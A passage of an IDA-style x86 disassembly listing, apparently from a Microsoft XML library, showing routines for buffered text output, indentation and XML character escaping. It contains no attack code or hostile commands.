loc_69B8A5A5: ; CODE XREF: sub_69B8A535+26j
; sub_69B8A535+32j
lea eax, [ebp+pvargDest]
push eax ; pvarg
call VariantClear
mov eax, ebx
pop ebx
leave
retn 8
sub_69B8A535 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A5B6 proc near ; CODE XREF: sub_69B8A5D5+15p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 0
jz short loc_69B8A5CD
dec eax
jz short loc_69B8A5C6
xor eax, eax
jmp short locret_69B8A5D2
; ---------------------------------------------------------------------------
loc_69B8A5C6: ; CODE XREF: sub_69B8A5B6+Aj
mov eax, offset aXpath ; "XPath"
jmp short locret_69B8A5D2
; ---------------------------------------------------------------------------
loc_69B8A5CD: ; CODE XREF: sub_69B8A5B6+7j
mov eax, offset aXslpattern ; "XSLPattern"
locret_69B8A5D2: ; CODE XREF: sub_69B8A5B6+Ej
; sub_69B8A5B6+15j
retn 4
sub_69B8A5B6 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8A5D5(VARIANTARG *pvarg, int)
sub_69B8A5D5 proc near ; CODE XREF: sub_69B5529C+74p
; sub_69B5704A+Ap
pvarg = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+pvarg]
push esi ; pvarg
call VariantInit
push [esp+4+arg_4]
mov word ptr [esi], 8
call sub_69B8A5B6
push eax ; OLECHAR *
call SysAllocString
test eax, eax
mov [esi+8], eax
pop esi
jnz short locret_69B8A603
call sub_69B2E87C
locret_69B8A603: ; CODE XREF: sub_69B8A5D5+27j
retn 8
sub_69B8A5D5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8A606(LPCWSTR psz1)
sub_69B8A606 proc near ; CODE XREF: sub_69B5529C+4Ep
; sub_69B59028+52p ...
psz1 = dword ptr 4
cmp [esp+psz1], 0
jnz short loc_69B8A611
xor eax, eax
jmp short locret_69B8A626
; ---------------------------------------------------------------------------
loc_69B8A611: ; CODE XREF: sub_69B8A606+5j
push off_69B9B054 ; psz2
push [esp+4+psz1] ; psz1
call ds:StrCmpW ; StrCmpW
neg eax
sbb eax, eax
inc eax
locret_69B8A626: ; CODE XREF: sub_69B8A606+9j
retn 4
sub_69B8A606 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A629 proc near ; DATA XREF: .text:69B14814o
mov eax, offset off_69B8A630
retn
sub_69B8A629 endp
; ---------------------------------------------------------------------------
align 10h
off_69B8A630 dd offset off_69B2B1C8 ; DATA XREF: sub_69B8A629o
dd offset sub_69B8A688
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B8A676
loc_69B8A638: ; CODE XREF: sub_69B8A676+Dj
push esi
push 0
push 10h
mov esi, ecx
call sub_69B1D811
mov dword ptr [esi], offset off_69B147F8
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B8A676
; =============== S U B R O U T I N E =======================================
sub_69B8A64E proc near ; DATA XREF: .text:69B14844o
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B8A35C
mov eax, [esp+arg_0]
retn 4
sub_69B8A64E endp
; =============== S U B R O U T I N E =======================================
sub_69B8A65E proc near ; CODE XREF: sub_69B8A688+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B8A2FC
mov dword ptr [esi], offset off_69B147F8
mov eax, esi
pop esi
retn 4
sub_69B8A65E endp
; =============== S U B R O U T I N E =======================================
sub_69B8A676 proc near ; CODE XREF: sub_69B78A78+Ep
; sub_69B8D1CE+4p ...
; FUNCTION CHUNK AT 69B8A638 SIZE 00000016 BYTES
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A685
mov ecx, eax
jmp short loc_69B8A638
; ---------------------------------------------------------------------------
loc_69B8A685: ; CODE XREF: sub_69B8A676+9j
xor eax, eax
retn
sub_69B8A676 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A688 proc near ; DATA XREF: .text:69B8A634o
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A69D
push 0
mov ecx, eax
call sub_69B8A65E
retn
; ---------------------------------------------------------------------------
loc_69B8A69D: ; CODE XREF: sub_69B8A688+9j
xor eax, eax
retn
sub_69B8A688 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A6A0 proc near ; DATA XREF: .text:69B14838o
xor eax, eax
cmp [ecx+0Ch], eax
setz al
retn
sub_69B8A6A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A6A9 proc near ; DATA XREF: .text:69B1483Co
mov eax, [ecx+0Ch]
test eax, eax
jle short loc_69B8A6B8
dec eax
push eax
call sub_69B8A163
retn
; ---------------------------------------------------------------------------
loc_69B8A6B8: ; CODE XREF: sub_69B8A6A9+5j
push 80004005h
call sub_69B2E8B8
xor eax, eax
retn
sub_69B8A6A9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A6C5 proc near ; DATA XREF: .text:69B14840o
push esi
mov esi, ecx
mov eax, [esi+0Ch]
test eax, eax
push edi
jle short loc_69B8A6E7
dec eax
push eax
call sub_69B8A163
mov edi, eax
mov eax, [esi+0Ch]
dec eax
push eax
mov ecx, esi
call sub_69B8A22A
jmp short loc_69B8A6F3
; ---------------------------------------------------------------------------
loc_69B8A6E7: ; CODE XREF: sub_69B8A6C5+9j
push 80004005h
call sub_69B2E8B8
xor edi, edi
loc_69B8A6F3: ; CODE XREF: sub_69B8A6C5+20j
mov eax, edi
pop edi
pop esi
retn
sub_69B8A6C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A6F8 proc near ; DATA XREF: .text:69B14848o
arg_0 = dword ptr 4
mov eax, [ecx+0Ch]
dec eax
push eax
push [esp+4+arg_0]
call sub_69B8A1CF
retn 4
sub_69B8A6F8 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A709 proc near ; CODE XREF: sub_69B173D1+224p
; sub_69B173D1+27Cp ...
cmp dword ptr [ecx+18h], 1
jnz short locret_69B8A713
or dword ptr [ecx+0Ch], 3
locret_69B8A713: ; CODE XREF: sub_69B8A709+4j
retn
sub_69B8A709 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8A714 proc near ; CODE XREF: sub_69B8A7C4+1Fp
; sub_69B8A828+20p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, ecx
cmp byte ptr [ebx+10h], 0
push esi
push edi
mov [ebp+var_4], 2
jnz short loc_69B8A797
mov eax, [ebx+20h]
test eax, eax
jz short loc_69B8A797
mov ecx, [ebx+1028h]
mov esi, [ebx+102Ch]
mov edx, [eax]
lea edi, [ebp+var_8]
push edi
sub esi, ecx
push esi
push ecx
push eax
call dword ptr [edx+10h]
mov edi, eax
test edi, edi
setl al
mov [ebx+10h], al
mov eax, [ebx+24h]
test eax, eax
jz short loc_69B8A78B
cmp edi, 1
jnz short loc_69B8A76E
sub esi, [ebp+var_8]
xor edi, edi
inc esi
inc esi
mov [ebp+var_4], esi
jmp short loc_69B8A78B
; ---------------------------------------------------------------------------
loc_69B8A76E: ; CODE XREF: sub_69B8A714+4Cj
cmp edi, 8000FFFFh
jnz short loc_69B8A78B
push 0
push eax
push 0C00CE029h
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B8A78B: ; CODE XREF: sub_69B8A714+47j
; sub_69B8A714+58j ...
cmp byte ptr [ebx+10h], 0
jz short loc_69B8A797
push edi
call sub_69B2E8B8
loc_69B8A797: ; CODE XREF: sub_69B8A714+15j
; sub_69B8A714+1Cj ...
mov eax, [ebp+var_4]
mov esi, [ebx+102Ch]
mov ecx, eax
mov edx, ecx
sub esi, eax
shr ecx, 2
lea edi, [ebx+28h]
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
pop edi
lea eax, [eax+ebx+28h]
pop esi
mov [ebx+102Ch], eax
pop ebx
leave
retn
sub_69B8A714 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A7C4 proc near ; CODE XREF: sub_69B8A7EB+Bp
; sub_69B8A7EB+14p ...
arg_0 = word ptr 4
lea eax, [ecx+102Ch]
mov edx, [eax]
push esi
mov si, [esp+4+arg_0]
mov [edx], si
add dword ptr [eax], 2
mov eax, [eax]
cmp eax, [ecx+1030h]
pop esi
jb short locret_69B8A7E8
call sub_69B8A714
locret_69B8A7E8: ; CODE XREF: sub_69B8A7C4+1Dj
retn 4
sub_69B8A7C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A7EB proc near ; CODE XREF: sub_69B8A828+19p
; sub_69B8A903+9p ...
push esi
mov esi, ecx
test byte ptr [esi+0Ch], 1
jz short loc_69B8A804
push 0Dh
call sub_69B8A7C4
push 0Ah
mov ecx, esi
call sub_69B8A7C4
loc_69B8A804: ; CODE XREF: sub_69B8A7EB+7j
test byte ptr [esi+0Ch], 2
jz short loc_69B8A822
push edi
xor edi, edi
cmp [esi+14h], edi
jle short loc_69B8A821
loc_69B8A812: ; CODE XREF: sub_69B8A7EB+34j
push 9
mov ecx, esi
call sub_69B8A7C4
inc edi
cmp edi, [esi+14h]
jl short loc_69B8A812
loc_69B8A821: ; CODE XREF: sub_69B8A7EB+25j
pop edi
loc_69B8A822: ; CODE XREF: sub_69B8A7EB+1Dj
and dword ptr [esi+0Ch], 0
pop esi
retn
sub_69B8A7EB endp
; =============== S U B R O U T I N E =======================================
sub_69B8A828 proc near ; CODE XREF: sub_69B3DFBE+46p
; sub_69B3DFBE+67p ...
push 0Ch
push offset dword_69B8A888
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
and dword ptr [ebp-4], 0
and dword ptr [esi+0Ch], 0FFFFFFFDh
call sub_69B8A7EB
mov ecx, esi
call sub_69B8A714
jmp short loc_69B8A86F
; ---------------------------------------------------------------------------
loc_69B8A84F: ; DATA XREF: .text:69B8A88Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8A858: ; DATA XREF: .text:69B8A890o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
and word ptr [esi+28h], 0
mov eax, [esi+1028h]
mov [esi+102Ch], eax
loc_69B8A86F: ; CODE XREF: sub_69B8A828+25j
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
add esi, 20h
push esi
call sub_69B17320
call sub_69B1853C
retn
sub_69B8A828 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B8A888 dd 0FFFFFFFFh dd offset loc_69B8A84F
dd offset loc_69B8A858
; =============== S U B R O U T I N E =======================================
sub_69B8A894 proc near ; CODE XREF: sub_69B3DEBD+4Cp
; sub_69B4A8CB+40p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 1034h
call sub_69B17EF3
test eax, eax
jz short loc_69B8A8AE
mov ecx, eax
call sub_69B16CD0
mov esi, eax
jmp short loc_69B8A8B0
; ---------------------------------------------------------------------------
loc_69B8A8AE: ; CODE XREF: sub_69B8A894+Dj
xor esi, esi
loc_69B8A8B0: ; CODE XREF: sub_69B8A894+18j
push [esp+4+arg_0]
lea eax, [esi+20h]
push eax
call sub_69B17320
mov eax, [esp+4+arg_4]
push [esp+4+arg_8]
and dword ptr [esi+14h], 0
mov [esi+18h], eax
lea eax, [esi+24h]
push eax
mov byte ptr [esi+8], 1
call sub_69B17320
and word ptr [esi+28h], 0
lea eax, [esi+2Ah]
lea ecx, [eax+0FFEh]
mov [esi+1028h], eax
mov [esi+102Ch], eax
mov byte ptr [esi+10h], 0
mov [esi+1030h], ecx
mov eax, esi
pop esi
retn 0Ch
sub_69B8A894 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A903 proc near ; CODE XREF: sub_69B173D1+AAp
; sub_69B173D1+136p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
cmp dword ptr [esi+0Ch], 0
jz short loc_69B8A911
call sub_69B8A7EB
loc_69B8A911: ; CODE XREF: sub_69B8A903+7j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B8A7C4
pop esi
retn 4
sub_69B8A903 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A920 proc near ; CODE XREF: sub_69B76FDD+2Fp
; sub_69B76FDD+76p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push edi
mov edi, ecx
cmp dword ptr [edi+0Ch], 0
jz short loc_69B8A92F
call sub_69B8A7EB
loc_69B8A92F: ; CODE XREF: sub_69B8A920+8j
mov ebx, [esp+8+arg_4]
test ebx, ebx
jz short loc_69B8A96B
push esi
mov esi, [esp+0Ch+arg_0]
loc_69B8A93C: ; CODE XREF: sub_69B8A920+48j
cmp word ptr [esi], 0Ah
jnz short loc_69B8A958
mov eax, [edi+102Ch]
cmp word ptr [eax-2], 0Dh
jz short loc_69B8A958
push 0Dh
mov ecx, edi
call sub_69B8A7C4
loc_69B8A958: ; CODE XREF: sub_69B8A920+20j
; sub_69B8A920+2Dj
xor eax, eax
mov ax, [esi]
mov ecx, edi
push eax
call sub_69B8A7C4
inc esi
inc esi
dec ebx
jnz short loc_69B8A93C
pop esi
loc_69B8A96B: ; CODE XREF: sub_69B8A920+15j
pop edi
pop ebx
retn 8
sub_69B8A920 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A970 proc near ; CODE XREF: sub_69B173D1+85p
; sub_69B173D1+94p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short locret_69B8A983
push dword ptr [eax+8]
push dword ptr [eax+0Ch]
call sub_69B8A920
locret_69B8A983: ; CODE XREF: sub_69B8A970+6j
retn 4
sub_69B8A970 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8A986(LPCWSTR lpString)
sub_69B8A986 proc near ; CODE XREF: sub_69B760B0+C3p
; sub_69B760B0+D9p ...
lpString = dword ptr 4
push esi
push [esp+4+lpString] ; lpString
mov esi, ecx
call ds:lstrlenW ; lstrlenW
push eax
push [esp+8+lpString]
mov ecx, esi
call sub_69B8A920
pop esi
retn 4
sub_69B8A986 endp
; =============== S U B R O U T I N E =======================================
sub_69B8A9A3 proc near ; CODE XREF: sub_69B173D1+53Dp
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, esi
call sub_69B8A970
pop esi
retn 4
sub_69B8A9A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8A9BB proc near ; CODE XREF: sub_69B4A260+6Fp
; sub_69B4A260+E6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword ptr [esi+0Ch], 0
jz short loc_69B8A9CC
call sub_69B8A7EB
loc_69B8A9CC: ; CODE XREF: sub_69B8A9BB+Aj
mov eax, [ebp+arg_4]
test eax, eax
jz loc_69B8AA8A
push ebx
mov ebx, [ebp+arg_0]
mov [ebp+arg_4], eax
loc_69B8A9DE: ; CODE XREF: sub_69B8A9BB+C8j
movzx ecx, word ptr [ebx]
inc ebx
inc ebx
cmp ecx, 3Eh
jg loc_69B8AA78
mov eax, ecx
sub eax, 0Ah
jz short loc_69B8AA52
sub eax, 3
jz short loc_69B8AA3A
sub eax, 15h
jz short loc_69B8AA27
sub eax, 4
jz short loc_69B8AA19
sub eax, 16h
jz short loc_69B8AA12
dec eax
dec eax
jnz short loc_69B8AA78
push offset aGt_2 ; ">"
jmp short loc_69B8AA1E
; ---------------------------------------------------------------------------
loc_69B8AA12: ; CODE XREF: sub_69B8A9BB+4Aj
push offset aLt_2 ; "<"
jmp short loc_69B8AA1E
; ---------------------------------------------------------------------------
loc_69B8AA19: ; CODE XREF: sub_69B8A9BB+45j
push offset aAmp_1 ; "&"
loc_69B8AA1E: ; CODE XREF: sub_69B8A9BB+55j
; sub_69B8A9BB+5Cj
mov ecx, esi
loc_69B8AA20: ; CODE XREF: sub_69B8A9BB+7Dj
call sub_69B8A986
jmp short loc_69B8AA80
; ---------------------------------------------------------------------------
loc_69B8AA27: ; CODE XREF: sub_69B8A9BB+40j
cmp [ebp+arg_8], 0
mov ecx, esi
jz short loc_69B8AA33
push 22h
jmp short loc_69B8AA7B
; ---------------------------------------------------------------------------
loc_69B8AA33: ; CODE XREF: sub_69B8A9BB+72j
push offset aQuot_1 ; """
jmp short loc_69B8AA20
; ---------------------------------------------------------------------------
loc_69B8AA3A: ; CODE XREF: sub_69B8A9BB+3Bj
push 0Dh
mov ecx, esi
call sub_69B8A7C4
push 0Ah
mov ecx, esi
call sub_69B8A7C4
mov byte ptr [esi+1Ch], 1
jmp short loc_69B8AA80
; ---------------------------------------------------------------------------
loc_69B8AA52: ; CODE XREF: sub_69B8A9BB+36j
cmp byte ptr [esi+1Ch], 0
jz short loc_69B8AA6B
mov eax, [esi+102Ch]
cmp word ptr [eax-2], 0Ah
jnz short loc_69B8AA6B
mov byte ptr [esi+1Ch], 0
jmp short loc_69B8AA80
; ---------------------------------------------------------------------------
loc_69B8AA6B: ; CODE XREF: sub_69B8A9BB+9Bj
; sub_69B8A9BB+A8j
push 0Dh
mov ecx, esi
call sub_69B8A7C4
push 0Ah
jmp short loc_69B8AA79
; ---------------------------------------------------------------------------
loc_69B8AA78: ; CODE XREF: sub_69B8A9BB+2Bj
; sub_69B8A9BB+4Ej
push ecx
loc_69B8AA79: ; CODE XREF: sub_69B8A9BB+BBj
mov ecx, esi
loc_69B8AA7B: ; CODE XREF: sub_69B8A9BB+76j
call sub_69B8A7C4
loc_69B8AA80: ; CODE XREF: sub_69B8A9BB+6Aj
; sub_69B8A9BB+95j ...
dec [ebp+arg_4]
jnz loc_69B8A9DE
pop ebx
loc_69B8AA8A: ; CODE XREF: sub_69B8A9BB+16j
pop esi
pop ebp
retn 0Ch
sub_69B8A9BB endp
; ---------------------------------------------------------------------------
align 10h
aQuot_1: ; DATA XREF: sub_69B8A9BB:loc_69B8AA33o
unicode 0, <">,0
align 10h
; const WCHAR aAmp_1
aAmp_1: ; DATA XREF: sub_69B8A9BB:loc_69B8AA19o
unicode 0, <&>,0
aLt_2: ; DATA XREF: sub_69B8A9BB:loc_69B8AA12o
unicode 0, <<>,0
align 4
aGt_2: ; DATA XREF: sub_69B8A9BB+50o
unicode 0, <>>,0
; =============== S U B R O U T I N E =======================================
sub_69B8AAC2 proc near ; CODE XREF: sub_69B173D1+10Bp
; sub_69B173D1+1FBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov edx, [eax+8]
test edx, edx
jle short locret_69B8AADA
push [esp+arg_4]
push edx
push dword ptr [eax+0Ch]
call sub_69B8A9BB
locret_69B8AADA: ; CODE XREF: sub_69B8AAC2+9j
retn 8
sub_69B8AAC2 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8AADD(LPCWSTR lpString)
sub_69B8AADD proc near ; CODE XREF: sub_69B3740E+Dp
; sub_69B3745D+10p ...
lpString = dword ptr 4
push esi
mov esi, [esp+4+lpString]
test esi, esi
jnz short loc_69B8AAEA
xor eax, eax
jmp short loc_69B8AB1C
; ---------------------------------------------------------------------------
loc_69B8AAEA: ; CODE XREF: sub_69B8AADD+7j
push ebx
push esi ; lpString
call ds:lstrlenW ; lstrlenW
lea ebx, [eax+eax]
lea eax, [ebx+2]
push eax
call sub_69B11E44
test eax, eax
jz short loc_69B8AB1B
push edi
mov ecx, ebx
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
and word ptr [ebx+eax], 0
pop edi
loc_69B8AB1B: ; CODE XREF: sub_69B8AADD+23j
pop ebx
loc_69B8AB1C: ; CODE XREF: sub_69B8AADD+Bj
pop esi
retn 4
sub_69B8AADD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B8AB20(LPCWSTR lpString, int)
sub_69B8AB20 proc near ; CODE XREF: sub_69B3A709+21p
; sub_69B3A709+4Ap ...
lpString = dword ptr 4
arg_4 = dword ptr 8
push [esp+lpString] ; lpString
call sub_69B8AADD
test eax, eax
jnz short locret_69B8AB37
mov ecx, [esp+arg_4]
mov dword ptr [ecx], 8007000Eh
locret_69B8AB37: ; CODE XREF: sub_69B8AB20+Bj
retn 8
sub_69B8AB20 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AB3A proc near ; DATA XREF: .text:69B148C8o
; .text:69B21F20o
push 0Ch
pop eax
retn
sub_69B8AB3A endp
; =============== S U B R O U T I N E =======================================
sub_69B8AB3E proc near ; CODE XREF: sub_69B3BCF6+8p
; sub_69B3BD1A+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [ecx+4]
test ecx, ecx
push esi
jz short loc_69B8AB69
lea eax, [ecx+0Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_69B8AB69
mov edx, [esp+4+arg_8]
shl edx, 2
loc_69B8AB57: ; CODE XREF: sub_69B8AB3E+29j
mov esi, [esp+4+arg_4]
dec ecx
cmp esi, [edx+eax]
jz short loc_69B8AB6B
add eax, [esp+4+arg_0]
test ecx, ecx
jnz short loc_69B8AB57
loc_69B8AB69: ; CODE XREF: sub_69B8AB3E+6j
; sub_69B8AB3E+10j
xor eax, eax
loc_69B8AB6B: ; CODE XREF: sub_69B8AB3E+21j
pop esi
retn 0Ch
sub_69B8AB3E endp
; =============== S U B R O U T I N E =======================================
sub_69B8AB6F proc near ; CODE XREF: sub_69B3BEAE+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [ecx+4]
test eax, eax
jz short loc_69B8AB98
mov ecx, [eax+8]
add eax, 0Ch
jmp short loc_69B8AB94
; ---------------------------------------------------------------------------
loc_69B8AB7E: ; CODE XREF: sub_69B8AB6F+27j
dec ecx
cmp dword ptr [eax], 0
jz short loc_69B8AB90
mov edx, [esp+arg_4]
dec [esp+arg_4]
test edx, edx
jz short locret_69B8AB9A
loc_69B8AB90: ; CODE XREF: sub_69B8AB6F+13j
add eax, [esp+arg_0]
loc_69B8AB94: ; CODE XREF: sub_69B8AB6F+Dj
test ecx, ecx
jnz short loc_69B8AB7E
loc_69B8AB98: ; CODE XREF: sub_69B8AB6F+5j
xor eax, eax
locret_69B8AB9A: ; CODE XREF: sub_69B8AB6F+1Fj
retn 8
sub_69B8AB6F endp
; =============== S U B R O U T I N E =======================================
sub_69B8AB9D proc near ; CODE XREF: sub_69B3BFAC+3Fp
xor eax, eax
cmp [ecx+0Ch], eax
jz short locret_69B8ABC6
mov ecx, [ecx+4]
lea edx, [ecx+0Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short locret_69B8ABC6
loc_69B8ABB1: ; CODE XREF: sub_69B8AB9D+27j
cmp dword ptr [edx], 0
jz short loc_69B8ABC0
test dword ptr [edx+8], 7FFFFFFFh
jz short loc_69B8ABC0
inc eax
loc_69B8ABC0: ; CODE XREF: sub_69B8AB9D+17j
; sub_69B8AB9D+20j
add edx, 0Ch
dec ecx
jnz short loc_69B8ABB1
locret_69B8ABC6: ; CODE XREF: sub_69B8AB9D+5j
; sub_69B8AB9D+12j
retn
sub_69B8AB9D endp
; =============== S U B R O U T I N E =======================================
sub_69B8ABC7 proc near ; CODE XREF: sub_69B3C33C+42p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
cmp edx, [ecx+0Ch]
push esi
jge short loc_69B8ABF9
mov eax, [ecx+4]
lea ecx, [eax+0Ch]
mov eax, [eax+8]
jmp short loc_69B8ABF5
; ---------------------------------------------------------------------------
loc_69B8ABDC: ; CODE XREF: sub_69B8ABC7+30j
dec eax
cmp dword ptr [ecx], 0
jz short loc_69B8ABF2
test dword ptr [ecx+8], 7FFFFFFFh
jz short loc_69B8ABF2
mov esi, edx
dec edx
test esi, esi
jz short loc_69B8ABFF
loc_69B8ABF2: ; CODE XREF: sub_69B8ABC7+19j
; sub_69B8ABC7+22j
add ecx, 0Ch
loc_69B8ABF5: ; CODE XREF: sub_69B8ABC7+13j
test eax, eax
jnz short loc_69B8ABDC
loc_69B8ABF9: ; CODE XREF: sub_69B8ABC7+8j
xor eax, eax
loc_69B8ABFB: ; CODE XREF: sub_69B8ABC7+3Aj
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B8ABFF: ; CODE XREF: sub_69B8ABC7+29j
mov eax, [ecx]
jmp short loc_69B8ABFB
sub_69B8ABC7 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AC03 proc near ; CODE XREF: sub_69B8ACCF+44p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [edx+8]
push esi
push edi
mov edi, ecx
lea ecx, [eax+eax*2]
shl ecx, 2
mov eax, ecx
shr ecx, 2
add edi, 0Ch
lea esi, [edx+0Ch]
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn 4
sub_69B8AC03 endp
; =============== S U B R O U T I N E =======================================
sub_69B8AC2D proc near ; CODE XREF: sub_69B8AD6D+40p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, ecx
mov ecx, [eax+8]
push esi
shl ecx, 3
push edi
lea esi, [eax+0Ch]
mov eax, ecx
shr ecx, 2
lea edi, [edx+0Ch]
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn 4
sub_69B8AC2D endp
; =============== S U B R O U T I N E =======================================
sub_69B8AC54 proc near ; CODE XREF: sub_69B8ACCF+7p
; sub_69B8AD6D+7p ...
push esi
mov esi, ecx
push 0
lea eax, [esi+4]
push eax
call sub_69B17320
and dword ptr [esi+0Ch], 0
or dword ptr [esi+8], 0FFFFFFFFh
pop esi
retn
sub_69B8AC54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8AC6C proc near ; CODE XREF: sub_69B8AE52+4Ep
; sub_69B8AE52+6Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push [ebp+arg_4]
mov esi, ecx
mov eax, [esi]
call dword ptr [eax]
lea ebx, [esi+4]
mov ecx, [ebx]
test ecx, ecx
mov edx, eax
mov [ebp+var_4], edx
jz short loc_69B8ACBE
mov eax, [ecx+8]
imul eax, [ebp+arg_0]
lea esi, [ecx+0Ch]
push edi
mov ecx, eax
lea edi, [edx+0Ch]
mov edx, ecx
shr ecx, 2
mov [ebp+arg_4], esi
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [ebp+arg_4]
mov ecx, eax
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
loc_69B8ACBE: ; CODE XREF: sub_69B8AC6C+1Bj
push [ebp+var_4]
push ebx
call sub_69B17320
mov eax, [ebx]
pop esi
pop ebx
leave
retn 8
sub_69B8AC6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8ACCF proc near ; CODE XREF: sub_69B8BF13+157p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
call sub_69B8AC54
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jz locret_69B8AD69
push esi
mov esi, [eax+4]
push edi
push dword ptr [esi+8]
push 10h
call sub_69B752F1
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz short loc_69B8AD0E
mov ecx, edi
call sub_69B19118
mov dword ptr [edi], offset off_69B14890
jmp short loc_69B8AD10
; ---------------------------------------------------------------------------
loc_69B8AD0E: ; CODE XREF: sub_69B8ACCF+2Ej
xor edi, edi
loc_69B8AD10: ; CODE XREF: sub_69B8ACCF+3Dj
push esi
mov ecx, edi
call sub_69B8AC03
mov eax, [edi+8]
test eax, eax
lea esi, [edi+0Ch]
jz short loc_69B8AD5A
mov [ebp+arg_0], eax
push ebx
loc_69B8AD26: ; CODE XREF: sub_69B8ACCF+88j
mov eax, [esi]
test eax, eax
jz short loc_69B8AD51
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
cmp [ebp+arg_4], 0
jz short loc_69B8AD4D
mov ebx, [esi+4]
test ebx, ebx
jz short loc_69B8AD51
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
jmp short loc_69B8AD51
; ---------------------------------------------------------------------------
loc_69B8AD4D: ; CODE XREF: sub_69B8ACCF+67j
and dword ptr [esi+4], 0
loc_69B8AD51: ; CODE XREF: sub_69B8ACCF+5Bj
; sub_69B8ACCF+6Ej ...
add esi, 0Ch
dec [ebp+arg_0]
jnz short loc_69B8AD26
pop ebx
loc_69B8AD5A: ; CODE XREF: sub_69B8ACCF+51j
mov eax, [ebp+var_4]
push edi
add eax, 4
push eax
call sub_69B17320
pop edi
pop esi
locret_69B8AD69: ; CODE XREF: sub_69B8ACCF+13j
leave
retn 8
sub_69B8ACCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8AD6D proc near ; CODE XREF: sub_69B8BF13+163p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
call sub_69B8AC54
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0Ch], 0
jz short locret_69B8ADE4
push ebx
mov ebx, [eax+4]
push esi
push edi
mov edi, [ebx+8]
lea eax, ds:10h[edi*8]
push eax
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], edi
call sub_69B19118
push ebx
mov ecx, esi
mov dword ptr [esi], offset off_69B14850
call sub_69B8AC2D
mov eax, [esi+8]
